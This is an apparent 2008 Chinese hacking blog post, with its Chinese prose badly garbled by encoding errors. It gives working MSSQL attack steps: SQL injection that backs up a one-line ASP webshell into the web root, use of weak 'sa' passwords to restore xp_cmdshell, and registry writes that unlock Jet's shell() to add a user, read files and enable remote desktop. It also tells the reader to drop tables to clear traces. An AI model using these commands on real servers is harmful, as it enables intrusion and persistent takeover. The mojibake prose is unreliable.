鎴戜滑鏉ヤ粙緇嶄笅SQL鐨勫鍒嗚鍙ワ細(xì)</font> </p> <p> <font size="3">BACKUP DATABASE ****錛堣〃紺轟綘瑕佸鍒嗙殑鏁版嵁搴撳悕錛?TO DISK='*****'錛堣〃紺轟綘瑕佸鍒嗙殑鏁版嵁搴撹礬寰勶級(jí) WITH DIFFERENTIAL錛堝憡璇夋暟鎹簱浣犺榪涜宸紓澶囧垎錛屽鏋滄病鏈塛ITH DIFFERENTIAL鍒欒繘琛屽畬鏁村鍒嗭級(jí)</font> </p> <p> <font size="3">聽(tīng)</font> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 涓句釜渚嬪瓙錛屾瘮濡傛垜浠煡閬撲簡(jiǎn)WEB鏈嶅姟鍣ㄧ殑鐗╃悊璺緞 D:\WEB\,鏈嶅姟鍣ㄧ殑鏁版嵁搴撳悕涓篨XX</font> </p> <p> <font size="3">閭d箞濡傛灉鎴戜滑灝嗕竴涓竴鍙ヨ瘽鏈ㄩ┈鎻掑叆鏁版嵁搴撲腑錛堝悗闈㈣鍒幫級(jí)鐒跺悗澶囧垎鏁版嵁搴擄紝鍏蜂綋璇彞濡備笅</font> </p> <p> <font size="3"> BACKUP DATABASE XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL</font> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 娉ㄦ剰鍒癉:\WEB\AY.ASP娌℃湁錛屾剰鎬濆氨鏄鎶婃暟鎹簱澶囧垎鍒癢EB鐩綍涓嬭屼笖鏁版嵁搴撳鍒嗘枃浠跺悕涓篈Y.ASP錛屽彲鍠滅殑鏄? AY.ASP榪欎釜鏂囦歡涓瓨鍦ㄦ垜浠殑涓鍙ヨ瘽鏈ㄩ┈璇彞錛屽綋鏈嶅姟鍣ㄩ亣鍒癆SP鍚庣紑鍚嶇殑鏂囦歡鏃朵細(xì)瀵硅鏂囦歡榪涜ASP瑙f瀽錛孉SP瑙f瀽鐨勫師鍒欐槸閬囧埌<%寮濮嬭В 鏋愶紝%>緇撴潫瑙f瀽銆傛瘮濡傛垜浠悜鏁版嵁搴撲腑鎻掑叆涓鍙ヨ瘽鏈ㄩ┈錛岃繖涓椂鍊欐垜浠彃鍏ョ殑鏁版嵁鏄柊澧炵殑鏁版嵁錛岀劧鍚庣敤宸紓澶囧垎澶囧垎涓涓狝SP鏂囦歡鍒癢EB鐩綍涓嬨傞偅 涔堣繖涓狝SP鏂囦歡涓嬪氨浼?xì)瀛樺湪鎴戜滑鐨勬湪椹唴瀹逛簡(jiǎn)銆傜劧鍚庤闂竴鍙ヨ瘽鏈ㄩ┈錛岀劧鍚庡皬椹紶澶ч┈銆?/font> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍒憡璇夋垜涓嶇煡閬撴庝箞璁塊棶錛屽洜涓哄緢澶氫漢榪樻槸涓嶇悊瑙EB鐗╃悊璺緞鍜屾垜浠闂殑URL涔嬮棿鐨勫叧緋匯傜畝鍗曡涓嬪ソ浜?jiǎn)锛屾瘮濡備綘鐨刉EB鏍圭洰褰曞湪榪欐牱D:\WEB\錛? 鏂囦歡澶逛笅鏈変綘鎯寵闂殑鏂囦歡AY.ASP銆傜綉绔欏煙鍚嶄負(fù)http:\\xxx.xxx.xxx錛岄偅涔堜綘鍙璁塊棶http:\\xxx.xxx.xxx \AY.ASP灝卞彲浠ヤ簡(jiǎn)銆備綘鐨刉EBSHELL灝卞埌鎵嬩簡(jiǎn)錛屽叆渚墊湇鍔″櫒鐨勮繘搴﹀氨瀹屾垚浜?0%錛堜負(fù)浠涔堟槸10%鍛紵鍥犱負(fù)90%鐨勯毦搴﹀湪鎻愭潈~鍛靛懙錛夈?/font> </p> <p> <font size="3">鍘熺悊鐭ラ亾娌★紵鎺ヤ笅鏉ユ槸瀹炶返浜?jiǎn)锛屽線涓嬬湅涔嬪墠寤鴻浣犳妸SQL鐨勫熀鏈鍙ユ悶鎳傘?/font> </p> <p> <font size="3">鏉ワ紝鍐嶅線涓嬭煩</font> </p> <br /> <p> <font size="3">鎴戣繕鏄笉鏄垎鍓茬嚎</font> </p> <p> <font size="3">____________________________________________________________________________</font> </p> <p> <br /> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 棣栧厛鎴戜滑闇瑕佹敞鍏ョ殑鏁版嵁搴撶被鍨嬫槸MSSQL鐨勶紝鑰屼笖榪欎釜鏁版嵁搴撶殑榪炴帴鏉冮檺蹇呴』鏄疍B_OWNER鐨勬潈闄愩傦紙涓鑸琈SSQL鏁版嵁搴撶綉绔欓兘鏄繖涓潈闄愮殑錛夋湁寤鴻〃鐨勬潈闄愩傛弧瓚充互涓婃潯浠剁殑緗戠珯鍏跺疄鏄瘮杈冨鐨勩傚懙鍛碘︹?/font> </p> <p> <font size="3"> <font style="background-color: rgb(255, 255, 255);" face="Verdana"> <br /> URL;create table ay(ay1 image) -- </font> </font> </p> <p> <font size="3"> <font style="background-color: rgb(255, 255, 255);" face="Verdana"> 鏂板緩涓涓悕涓篈Y鐨勮〃 琛ㄥ唴瀛樺湪鍚嶄負(fù)AY1鐨勫浘璞$被鍨嬬殑瀛楁 </font> </font> </p> <p> <font size="3"> <font style="background-color: rgb(255, 255, 255);" face="Verdana"> URL;backup database聽(tīng)鏁版嵁搴撳悕 to disk='鐗╃悊璺緞' with DIFFERENTIAL --聽(tīng) </font> </font> </p> <p> <font size="3"> <font style="background-color: rgb(255, 255, 255);" face="Verdana"> 娉ㄦ剰錛岃繖嬈″鍒嗘槸瑕佸噺灝忔暟鎹簱鐨勫鍒嗛噺<br />URL;insert into ay (ay1) values (鈥滀竴鍙ヨ瘽鏈ㄩ┈") -- </font> </font> </p> <p> <font size="3"> <font style="background-color: rgb(255, 255, 255);" face="Verdana"> 鍚戜綘鏂板緩鐨勮〃涓彃鍏ヤ竴鍙ヨ瘽鏈ㄩ┈鍐呭<br />URL;backup database聽(tīng)鏁版嵁搴撳悕 to disk='鐗╃悊璺緞'with DIFFERENTIAL --聽(tīng) </font> </font> </p> <p> <font size="3"> <font style="background-color: rgb(255, 255, 255);" face="Verdana"> 澶囧垎鏁版嵁搴撳埌WEB鐩綍涓? </font> </font> </p> <p> <font style="background-color: rgb(255, 255, 255);" size="3" face="Verdana">URL;drop table xy --</font> </p> <p> <font size="3">鍒犻櫎琛ㄥ悕錛屾竻鐞嗙棔榪?/font> </p> <p> <font size="3">聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 姝ラ浠嬬粛瀹屼簡(jiǎn)錛屼篃璁稿ぇ瀹惰繕鏄湁鐤戞儜錛屽氨鏄負(fù)浠涔堢2鍙ヨ澶囧垎涓涓嬶紝姣斿榪樻槸涓婇潰鐨勪緥瀛愶紝鎴戜滑澶囧垎涔嬪墠鏁版嵁搴撳瓨鍦ㄥ唴瀹逛負(fù)ABCD錛屾垜浠繘琛屽樊寮傚鍒嗭紝鐒跺悗鎻? 鍏ュ皬椹紝閭d箞鏁版嵁搴撳唴瀹硅〃涓篈BCDE錛孍浠h〃灝忛┈鍐呭銆傞偅涔堝樊寮傚鍒嗗嚭鏉ュ唴瀹逛負(fù)E銆備負(fù)浠涔堣繖鏍峰憿錛屽洜涓轟綘涓嶇煡閬撹繖鍙版湇鍔″櫒澶氫箙涔嬪墠澶囧垎榪囩殑錛屼竾涓榪欐湇鍔? 鍣ㄦ病澶囧垎榪囪屼笖鏁版嵁搴撳唴瀹規(guī)湁鍑犵櫨M鍛紵鎵浠ヤ弗璋ㄧ偣鐨勫姙娉曞氨鏄厛澶囧垎涓嬈″湪鍐欏叆涓鍙ヨ瘽鏈ㄩ┈銆?/font> </p> <img src ="http://www.shnenglu.com/ay19880703/aggbug/68767.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/ay19880703/" target="_blank">__ay</a> 2008-12-07 16:17 <a href="http://www.shnenglu.com/ay19880703/archive/2008/12/07/68767.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>鍏充簬1433寮卞彛浠ょ殑鍒╃敤-- by __ayhttp://www.shnenglu.com/ay19880703/archive/2008/12/07/68766.html__ay__aySun, 07 Dec 2008 08:15:00 GMThttp://www.shnenglu.com/ay19880703/archive/2008/12/07/68766.htmlhttp://www.shnenglu.com/ay19880703/comments/68766.htmlhttp://www.shnenglu.com/ay19880703/archive/2008/12/07/68766.html#Feedback0http://www.shnenglu.com/ay19880703/comments/commentRss/68766.htmlhttp://www.shnenglu.com/ay19880703/services/trackbacks/68766.html聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 榪欑瘒鏂囩珷鏄潰瀵瑰ぇ閮ㄥ垎浜虹殑,鎵浠ュ鏌愪簺姘村鉤鐨勪漢鏉ヨ闅懼厤浼?xì)鏈夎澶氬簾璇?浣犱滑鍙互璺寵繃,鍛靛懙~濂戒簡(jiǎn),寮濮嬪惂鈥︹﹀晩~鎴戣倸瀛愰タ浜?jiǎn)~鍛靛懙

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 棣栧厛璁蹭笅浠涔堟槸1433寮卞彛浠ゆ紡媧烇紝鎵璋撳急鍙d護(hù)灝辨槸鎸囧緢綆鍗曠殑涓浜涘瘑鐮侀殢渚跨寽灝辮兘鐚滃嚭鏉ョ殑錛屾瘮濡傝瀵嗙爜鏄?23錛?23456錛宎dmin鐢氳嚦鐢ㄦ埛鍚嶅瘑鐮? 鐩稿悓絳夌瓑涔嬬被鐨勭姸鍐碉紝鎴戜滑灝辮兘杞繪槗鑾峰緱瀵規(guī)柟鐨勫瘑鐮併傚懙鍛碉紝璁稿浜洪兘寰堟噿錛屾墍浠ュ瘑鐮侀兘寰堢畝鍗曪紝鍖呮嫭鎴戜篃鏄紝鍛靛懙鈥︹︼紙鑰屼笖榪樼粡甯擱偅123褰撲復(fù)鏃跺瘑鐮侊級(jí)銆傚湪璇? 涓嬩粈涔堟槸1433寮卞彛浠わ紝1433鎵鎸囩殑鏄?涓湇鍔$鍙o紝浠涔堟湇鍔″憿錛熼偅灝辨槸浼犺涓殑MSSQL鍟︼紝璇曟兂MSSQL瀹夎涔嬪垵鐨勯粯璁ゅ瘑鐮佹槸絀猴紝鐒惰屽張瀛樺湪璁? 澶氭噿緗戠錛岄偅涔堟垜浠彧瑕佹嬁涓伐鍏風(fēng)畝鍗曠殑鎵笅鍦ㄦ嫻嬩笅瀵嗙爜鈥︹﹀樋鍢庫(kù)︹﹀彲鎯寵屼箣鎵埌1433寮卞彛浠ょ殑鍑犵巼榪樻槸铔ぇ鐨剘鍛靛懙

聽(tīng)聽(tīng)聽(tīng) 鎺ヤ笅鏉ユ垜浠璇存嬁鍒癝A鏉冮檺鐨?433寮卞彛浠ゆ垜浠兘騫蹭粈涔堬紝澶у閮界煡閬揦P_CMDSHELL榪欎釜鎵╁睍鍌ㄥ瓨鍚э紝榪欎釜鎵╁睍鍌ㄥ瓨鍙互鐪嬪仛鏄疢SSQL鎻愪緵緇欑 鐞嗚呮墽琛孋MD鍛戒護(hù)鐨勪竴涓姛鑳芥ā鍧楋紝閫氳繃榪欎釜鎴戜滑鍙互鎵цCMD鍛戒護(hù)鑰屾洿鍙枩鐨勬槸SA鏉冮檺鐨勫笎鎴蜂竴鑸兘鏄互SYSTEM鏉冮檺鍚姩鐨勶紝鏉冮檺鐩稿綋浜庤綆楁満綆$悊 鍛樻潈闄愶紝閭d箞鎴戜滑鐩稿綋浜庡彲浠ョ敤CMD鍛戒護(hù)鐨勫艦寮忔帶鍒朵綘瑕佸叆渚電殑璁$畻鏈轟簡(jiǎn)錛屽綋鐒舵垜浠偗瀹氫笉浼?xì)婊…懗浜庣敤CMD鎺у埗鏈哄櫒錛屾垜浠殑鐩爣鏄氳繃3389鎴栬呭叾浠栫殑杞? 浠舵潵杈懼埌鎺у埗璁$畻鏈虹殑鐩殑銆備笅闈㈡垜浠潵鍒嗙被璁ㄨ鍚勭鎯呭喌涓嬬殑鍒囧叆鐐癸紝浠呬緵鍙傝冣︹?/font>

浠ヤ笅鍋囪浣犳嬁鍒頒簡(jiǎn)SA鏉冮檺鑻ュ彛浠ょ殑鏈哄櫒銆傛湁涓撻棬鐨凷QL鏌ヨ鍒嗘瀽鍣ㄥ彲浠ヨ繛鎺ュ鏂?澶у鏈夊叴瓚e彲浠ュ幓涓嬩竴涓潵鐪嬬湅.

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1.褰?389緇堢寮鍚殑鏃跺欙紝鑰岀洰鏍囨満瀛愪篃娌″仛綾諱技IP榪欐牱鐨勮繃婊わ紝閭d箞鎴戜滑灝辯洿鎺ユ墽琛孋MD鍛戒護(hù)鍔犱釜鐢ㄦ埛錛岀劧鍚庣敤鍔犵殑鐢ㄦ埛鐧諱笂鍘誨氨O(jiān)K浜?jiǎn)~鍛靛懙

錛堥渶瑕佹棤鏁孯P鍟妦~~錛?/font>

2.閭d箞濡傛灉CMD鍛戒護(hù)鍙互鎵ц,浣嗘槸娌″紑3389,鎴戜滑鍏堟壂涓嬬洰鏍嘔P,鐪嬩粬鏈夋病鏈夊紑80绔彛,鏈夌殑璇?0%鏄湁 WEB鏈嶅姟鐨?閭d箞鎴戜滑鏄疭A鏉冮檺鐩存帴涓釜灝忛┈涓婂幓,鍢垮樋.........鏈変簡(jiǎn)椹垜浠彲浠ヤ笂浼犱笢瑗垮暒~~浼犱釜寮3389鐨勫伐鍏蜂笂鍘繪墽琛?鏈哄櫒閲嶅惎涓嬪氨鍙? 浠ョ櫥3389浜?

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浠ヤ笅鏄疭A鏉冮檺涓嬪鍒嗗皬椹殑璇彞;

exec sp_makewebtask '澶囧垎璺緞',' select ''涓鍙ヨ瘽鏈ㄩ┈'' ';--

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渚嬪瓙濡備笅

http:\\xx.x.x.x.asp?id=1;exec sp_makewebtask 'd:\wwwroot\ay.asp',' select ''<%25eval (request('#'))25%>'' ';--

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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍏跺疄1433寮卞彛浠よ窡娉ㄥ叆闈炲父鐩鎬技,姣斿浣?433涓婃湁WEB鏈嶅姟浣犱篃鍙互鐢ㄦ煡璇㈣鍙ユ妸鐢ㄦ埛鍚嶅拰瀵嗙爜鎵懼嚭鏉ヨ繘鍚庡彴浼犻┈.鎬濊礬鏄潪甯稿鐨?浣嗘槸鐪嬩綘鎬庝箞浣跨敤浜?

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) MSSQL鐨勫姛鑳介潪甯稿己澶?鎵浠ュ嚑涔庢病鏈夊畠鍔炰笉鍒扮殑浜?鎵╁睍鍌ㄥ瓨娌″垹闄ゆ儏鍐典笅~鑰屼笖SA鏉冮檺娌¤闄嶄負(fù)USERS鐢ㄦ埛鍚姩).浣嗘槸浣嗘槸涓囦竴浜哄鎶奀MD緇欎綘 鍒犻櫎浜?鎭㈠涔熸仮澶嶄笉浜?jiǎn)鐨勬椂鍊欏張璇ユ庝箞鍔炲憿?濡傛灉鎴戜滑娌℃湁CMDSHELL,鍙堟病寮3389,閭d箞SA鏉冮檺鐪嬭搗鏉ュ氨璞℃槸楦¤倠~

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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍏充簬鍦⊿QL榪炴帴鍣ㄤ笂鏌ョ湅鐩綍鐨勬柟寮?/font>

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exec xp_dirtree '(鐩綍鍚?姣斿c:\)',1,1

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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鎵ц鍚庡氨浼?xì)杩斿洖鐩爣鏈哄櫒鎸囧畾鐩綍涓嬬殑鏂囦欢澶瑰拰鏂囦?閭d箞閫氳繃榪欎釜浣犲氨鍙互鍒楃洰褰曚簡(jiǎn)

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 榪欎釜鎵╁睍鍌ㄥ瓨鐨勮鏄庡湪娉ㄥ叆璇彞闆嗗悎閲岄潰鏈?榪欓噷灝辯暐榪?/font>

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exec xp_regread/exec xp_regwrite 娉ㄥ唽琛ㄦ搷浣滅殑鎵╁睍鍌ㄥ瓨

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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 涓嬮潰寮曠敤鍟奃娉ㄥ叆璇彞閲岄潰鐨勪緥瀛?/font>

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鍐欐敞鍐岃〃
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

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璇繪敞鍐岃〃
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

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聽(tīng)聽(tīng)聽(tīng)聽(tīng) 濡傛灉CMDSHELL鐢ㄤ笉浜?jiǎn)鐨勬椂鍊?鎴戜滑鏉ヨ瘯鐫鎭㈠涓婥MD

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聽(tīng)聽(tīng)聽(tīng) exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

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聽(tīng)聽(tīng)聽(tīng) 鐒跺悗鎵цCMD鍛戒護(hù),濡傛灉榪樻槸涓嶈鐨勮瘽,鍞墌~閭f病鍔炴硶浜?鍛靛懙,涓浼?xì)璁插?鍛靛懙~~~緇х畫寰涓嬬湅鍚

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聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鏉?鎴戜滑鏉ユ彁涓涓嬩紶璇翠腑鐨勬矙鐩掓ā寮忔彁鏉?

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涓嶆槸鍒嗗壊綰?/font>

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聽(tīng)聽(tīng)聽(tīng)聽(tīng) 棣栧厛鎴戝湪<Jet寮曟搸鍙互璋冪敤VBA鐨剆hell()鍑芥暟>(http://support.microsoft.com/kb /q239104/)榪欎喚璧勬枡鐭ラ亾鍦╝ccessl閲屽彲浠ョ洿鎺ヨ繘琛宻ql鏌ヨ,鍏蜂綋鐨勫湪Access涓祴璇?嫻嬭瘯鐨凷QL璇彞濡備笅:

SELECT shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');

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鏌ョ湅璁$畻鏈虹鐞嗙殑鏈湴鐢ㄦ埛,椹笂鍙戠幇澶氬嚭涓涓猺ay鐢ㄦ埛,璇存槑璇彞鎴愬姛鎵ц浜?鎺ヤ笅鏉ュ啓涓涓猇BS鑴氭湰浠繪剰榪炴帴涓涓猰db鏉ユ祴璇曡繖涓猄QL璇彞

Set Conn=Createobject("Adodb.Connection")

Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"

Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)


榪愯鍚庝細(xì)鍑虹幇"琛ㄨ揪寮忎腑鐨?Shell'鍑芥暟鏈? 瀹氫箟"鐨勯敊璇?<Jet寮曟搸鍙互璋冪敤VBA鐨? shell()鍑芥暟>鎻愬埌WINDOWS鍦↗et寮曟搸涓緗簡(jiǎn)涓涓悕涓篠andBoxMode鐨勫紑鍏?瀹冪殑娉ㄥ唽琛ㄤ綅緗湪 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode閲?0涓哄湪浠諱綍鎵 鏈夎呬腑涓兘紱佹璧風(fēng)敤瀹夊叏璁劇疆,1涓轟粎鍦ㄥ厑璁哥殑鑼冨洿涔嬪唴,2鍒欐槸蹇呴』鏄疉ccess鐨勬ā寮忎笅,3鍒欐槸瀹屽叏寮鍚畨鍏ㄨ緗?榛樿鎯呭喌涓嬩負(fù)2,鍙兘鍦ˋccess 鐨勬ā寮忎笅璋冪敤VBA鐨剆hell()鍑芥暟,鎴戜滑灝濊瘯灝嗘娉ㄥ唽琛ㄥ兼敼涓?,緇撴灉鎴愬姛鐨勮繍琛屼簡(jiǎn)VBS鍒╃敤Jet寮曟搸鍙互璋冪敤VBA鐨剆hell()鍑芥暟鎵ц浜? 緋葷粺鍛戒護(hù).

閫氬父涓鍙癕SSQL鏈嶅姟鍣ㄥ悓鏃舵敮鎸丄ccess鏁版嵁搴?鎵浠ュ彧瑕佹湁涓涓猻a鎴栬卍bowner鐨勮繛鎺?灝辨弧瓚充簡(jiǎn)淇敼娉ㄥ唽琛ㄧ殑鏉′歡,鍥犱負(fù)MSSQL鏈変竴涓悕涓簒p_regwrite鐨勬墿灞?瀹冪殑浣滅敤鏄慨鏀規(guī)敞鍐岃〃鐨勫?璇硶濡備笅


exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value


濡傛灉瀛樺湪涓涓猻a鎴栬卍bowner鐨勮繛鎺ョ殑SQL娉ㄥ叆鐐?灝卞彲浠ユ瀯閫犲嚭濡備笅娉ㄥ叆璇彞


InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--


閭f垜浠皢SandBoxMode寮鍏崇殑娉ㄥ唽琛ㄥ間慨鏀逛負(fù)0灝辨垚鍔? 浜?鎺ョ潃榪炴帴鍒頒竴涓狝ccess鏁版嵁搴撲腑,灝卞彲浠ユ墽琛岀郴緇熷懡浠?褰撶劧鎵ц緋葷粺鍛戒護(hù)鎴戜滑鍙渶瑕佷竴涓狝ccess鏁版嵁搴撶浉鍏砈elect鐨勬敞鍏ョ偣鎴栬呯洿鎺ョ敤 ASP鏂囦歡Select璋冪敤榪欎釜VBA鐨? shell()鍑芥暟,浣嗘槸瀹為檯涓奙SSQL鏈変竴涓殑OpenRowSet鍑芥暟,瀹冪殑浣滅敤鏄墦寮涓涓壒孌婄殑鏁版嵁搴撴垨鑰呰繛鎺ュ埌鍙︿竴涓暟鎹簱涔嬩腑.褰撴垜浠湁涓涓? SA鏉冮檺榪炴帴鐨勬椂鍊?灝卞彲浠ュ仛鍒版墦寮Jet寮曟搸榪炴帴鍒頒竴涓狝ccess鏁版嵁搴?鍚屾椂鎴戜滑鎼滅儲(chǔ)緋葷粺鏂囦歡浼?xì)鍙戠幇windows緋葷粺鐩綍涓嬫湰韜氨瀛樺湪涓や釜 Access鏁版嵁搴?浣嶇疆鍦?windir%\system32\ias\ias.mdb鎴栬?windir%\system32\ias\ dnary.mdb,榪欐牱涓鏉ユ垜浠張鍙互鍒╃敤OpenRowSet鍑芥暟鏋勯犲嚭濡備笅娉ㄥ叆璇彞:
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--


濡傛灉浣犺寰椾笉澶уソ鎳傜殑璇濓紝鎴戝彲浠ョ粰浣犲仛涓涓畝鍖栫殑鐞嗚В錛?br />1錛孉ccess鍙互璋冪敤VBS鐨勫嚱鏁幫紝浠ystem鏉冮檺鎵ц浠繪剰鍛戒護(hù)
2錛孉ccess鎵ц榪欎釜鍛戒護(hù)鏄湁鏉′歡鐨勶紝闇瑕佷竴涓紑鍏寵鎵撳紑
3錛岃繖涓紑鍏沖湪娉ㄥ唽琛ㄩ噷
4錛孲A鏄湁鏉冮檺鍐欐敞鍐岃〃鐨?br />5錛岀敤SA鍐欐敞鍐岃〃鐨勬潈闄愭墦寮閭d釜寮鍏?br />6錛岃皟鐢ˋccess閲岀殑鎵ц鍛戒護(hù)鏂規(guī)硶錛屼互system鏉冮檺鎵ц浠繪剰鍛戒護(hù)

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)

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------------------------------------------------------------------------------------------

涓嶆槸鍒嗗壊綰?

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鐪嬪畬浜?jiǎn)鍚杈涜嫤浜?jiǎn)~鍛靛懙,鍛靛懙,鐩存帴鎶婂師鏂囪創(chuàng)鍑烘潵浜?鎴戝ソ鎳掑晩鎴憕鍘熺悊灝辨槸涓婇潰璇寸殑閭d釜

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) CMD涓嶆槸鍒犻櫎浜?jiǎn)涔?鍢垮樋~鎴戜滑鐢ㄥ垰鍒氳鐨勬柟娉曟潵鎵ц,鍏蜂綋濡備笅

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng)

棣栧厛鎵ц

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exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode','REG_DWORD',1

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鍛靛懙~鎶婃敞鍐岃〃鏀逛簡(jiǎn)~

涓嶆斁蹇?jī)鐨勮瘽鎴戜滑鏉ヨ璇荤湅~

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exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode'

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濡傛灉榪斿洖鐨勫兼槸1鐨勮瘽璇佹槑鍛戒護(hù)鎴愬姛浜?

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閭d箞鎴戜滑灝卞彲浠ョ敤SYSTEM鍑芥暟鏉ユ墽琛屽懡浠や簡(jiǎn) 涓嬮潰緇欏嚭鎵ц鍛戒護(hù)璇彞

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select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c query user >c:\windows\11.txt")');

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綰㈣壊瀛椾綋鐨勬槸鎴戞墽琛岀殑鍛戒護(hù),>c:\windows \11.txt鐨勬剰鎬濇槸鎶婂洖鏄懼懡浠ゅ鍏ュ埌windows鐨勬枃浠跺す涓嬬殑1.txt,涓浼?xì)瑕佺敤鍒扮?榛戣壊瀛椾綋鏄垜浠暟鎹簱鐨勮礬寰?鐗瑰埆闇瑕佹敞鎰忕殑鏄鏋滄槸 windows2000 閭d箞鐏拌壊閮ㄥ垎灝卞簲璇ユ槸c:\winnt\system32\ias\ias.mdb聽(tīng)

濡傛灉鏄痺indows2003鐨勮瘽灝辨槸c:\windows\system32\ias\ias.mdb

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鍚庤竟涔熸槸涓鏍鋒儏鍐?win2003鏄痺indows鐩綍鑰?000鏄痺innt鐩綍

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鎵ц鍛戒護(hù)鐨勬椂鍊欐槸涓嶆槸蹇?jī)閲岄潰寰堟病搴曞?鑰屼笖鏈変簺鍛戒護(hù)姣斿NETSTAT涔嬬被鐨勬槸闇瑕佹煡鐪嬪洖鏄劇殑,閭d箞鎬庝箞鎵嶈兘寰楀埌鍥炴樉鍛~~鍢垮樋~~鏃犵枒MSSQL鑲畾涓烘垜浠彁渚涗簡(jiǎn)璇誨彇鏂囦歡鍐呭鐨勫姛鑳芥搷浣?

閭d箞鎴戜滑灝辨潵鐪嬬湅鎬庝箞鎿嶄綔鐨勫惂~~鍛靛懙

鎿嶄綔濡備笅
select * from openrowset('microsoft.jet.oledb.4.0','text;database=c:\windows\','select * from 11.txt')

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鐏拌壊閮ㄥ垎鏄枃浠舵墍鍦ㄧ洰褰?鑰岀孩鑹叉槸鏂囦歡鍚?

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姣斿鎴戞兂璇籇:\WWW\XXX\鐩綍涓嬬殑A.ASP鏂囦歡,閭d箞璇彞濡備笅

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select * from openrowset('microsoft.jet.oledb.4.0','text;database=D:\WWW\XXX\','select * from A.ASP')

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榪樿寰楁垜鍒氬垰鎶婂懡浠ゅ洖鏄懼鍑虹殑姝ラ鍚?鎴戜滑灝辯敤涓婇潰榪欎釜鎿嶄綔鏉ヨ鍙朤XT鍐呭灝卞彲浠ュ緱鍒版垜浠殑CMD鎵ц鍛戒護(hù)鍥炴樉浜?寰堝ソ鐜╁惂~鍛靛懙聽(tīng)聽(tīng)

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榪欏氨鏄垜楗惰繃CMDSHELL鏉ユ墽琛屽懡浠ょ殑涓鐐瑰績(jī)寰?鍛靛懙聽(tīng) 鎴戜滑鎺ヤ笅鏉ヨ璇?389鐨勯棶棰?

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涓浜涘叧浜?389緇堢鐨勪俊鎭?

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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍏跺疄鍦℉KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp涓嬬殑PortNumber閿?鍜?

聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp涓嬬殑PortNumber閿?

璁板綍鐫3389鐨勭鍙e彿 濡傛灉鎯蟲敼榪炴帴绔彛鍙風(fēng)殑璇濈洿鎺ョ敤xp_regwrite淇敼瀵瑰簲鐨勯敭鍊煎氨O(jiān)K浜?jiǎn)~鍛靛懙

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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 閭d箞鎺ヤ笅鏉ヨ璇存渶鍏抽敭鐨勯棶棰?鍦ㄦ敞鍐岃〃涓嬪瓨鍦ㄤ竴涓喅瀹?389寮鍚笌鍚︾殑閿?閿間綅緗涓?

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server涓嬬殑fDenyTSConnections

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鍏跺兼槸0琛ㄧず寮鍚?1琛ㄧず鍏抽棴,鎴戜滑鐩存帴鐢╔P_REGWRITE鎶婂間慨鏀瑰氨濂戒簡(jiǎn)~~

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璇彞濡備笅

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exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0

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浣犱滑涓嶆斁蹇?jī)鍙互鐢╔P_REGREAD紜

鍏蜂綋璇彞涓嶅啓浜?澶у鐜板鐜板崠鍚?鍛靛懙~~

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濂戒簡(jiǎn),鏈鍚庤榪囨垜娌″疄璺佃繃鐨勬濊礬,鐞嗚涓婂彲琛屽惂,鍛靛懙

